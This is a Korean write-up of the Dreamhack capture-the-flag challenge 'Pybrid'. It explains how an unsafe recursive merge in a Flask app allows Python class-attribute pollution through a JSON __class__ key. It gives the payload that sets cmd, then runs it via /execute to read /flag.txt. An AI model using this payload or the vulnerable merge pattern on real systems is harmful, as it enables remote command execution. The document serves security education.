[Dreamhack] Pybrid

문제 설명

  • 조직을 관리하기 위한 간단한 서비스입니다.

    서비스의 취약점을 찾고 익스플로잇하여 플래그를 획득하세요!

    플래그 형식은 DH{…} 입니다.


✏️ 풀이

문제에 접속해보면 멤버에는 admin이 존재하고 위의 ADD MEMEBER를 통해 멤버를 추가할 수 있다.

image-20250620151437825

image-20250620151532408


principal 클래스를 살펴보면 command 함수에서 cmd 속성이 있다면 그대로 command 변수에 담아주고, 아니면 echo Permission Denied 를 command에 저장한다.

class Principal(Teacher): 
    def __init__(self, name):
        super().__init__(name)
        self.role = "principal"

    def command(self):
        command = self.cmd if hasattr(self, 'cmd') else 'echo Permission Denied'
        return f'{popen(command).read().strip()}'


/execute 경로에서는 principal의 command를 실행할 수 있는 것 같다.

@app.route('/execute', methods=['GET'])
def execute():
    return jsonify({"result": principal.command()})


/add_member 에서는 member 추가 가능이 있고, /members 에서는 멤버들의 이름과 role들을 json 형식으로 확인할 수 있다.

@app.route('/add_member', methods=['GET', 'POST'])
def add_member():
    if request.method == 'POST':
        if request.is_json:
            data = request.get_json()
        else:
            data = request.form
        
        name = data.get("name")
        role = data.get("role")
        
        if role == "teacher":
            new_member = Teacher(name)
        elif role == "student":
            new_member = Student(name)
        elif role == "substitute_teacher":
            new_member = SubstituteTeacher(name)
        elif role == "principal":
            new_member = Principal(name)
            merge(data, new_member)
        else:
            return jsonify({"message": "Invalid role"}), 400
        
        members.append({"name": new_member.name, "role": new_member.role})
        return redirect(url_for('index'))
    return render_template('add_member.html')

@app.route('/members', methods=['GET'])
def get_members():
    return jsonify({"members": members})


일단 /add_member 경로에서 select로 principal을 선택할 수 없기 때문에 아래처럼 student role을 만드는 패킷을 잡고, role을 principal로 변경해보자.

image-20250620170300702

image-20250620165858735


아래처럼 test1의 이름으로 principal role 계정을 만들었다. 하지만 cmd 속성이 없기 때문에 /execute에 접속해봐도 Permission Denied가 뜨는 것을 볼 수 있다.

image-20250620170245421

image-20250620170401365


소스코드를 다시 보면 /add_member에서 principal 계정만 추가할 때 merge 함수를 통해서 principal 객체에 속성을 동적으로 추가하는 것을 알 수 있다. 하지만 일반적으로 cmd 속성을 추가하여 만들면 new_member에 추가되기 때문에 전역 principal 객체 속성에 추가를 해주어야 한다.

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

@app.route('/add_member', methods=['GET', 'POST'])
def add_member():
    if request.method == 'POST':
        if request.is_json:
            data = request.get_json()
        else:
            data = request.form
        
        name = data.get("name")
        role = data.get("role")
        
        if role == "teacher":
            new_member = Teacher(name)
        elif role == "student":
            new_member = Student(name)
        elif role == "substitute_teacher":
            new_member = SubstituteTeacher(name)
        elif role == "principal":
            new_member = Principal(name)
            merge(data, new_member)
        else:
            return jsonify({"message": "Invalid role"}), 400
        
        members.append({"name": new_member.name, "role": new_member.role})
        return redirect(url_for('index'))
    return render_template('add_member.html')


따라서 merge 함수에 의해 principal 전역 객체에 속성을 추가하기 위해서는 __class__ 를 이용해 접근할 수 있다. 아래와 같이 요청하면 merge 함수에 의해 principal 전역 객체에 속성이 추가될 수 있다.

{
  "name": "principal",
  "role": "principal",
  "__class__": {
    "cmd": "id"
  }
}


아래와 같이 요청하고 /execute 경로에 접근하면 ls 명령어가 잘 입력되어 출력되는 것을 확인할 수 있다.

image-20250623174646253

image-20250623174700862


이제 cmd 명령에서 cat /flag.txt로 바꿔주면 flag를 획득할 수 있다.

image-20250623174834518

image-20250623174853022

댓글남기기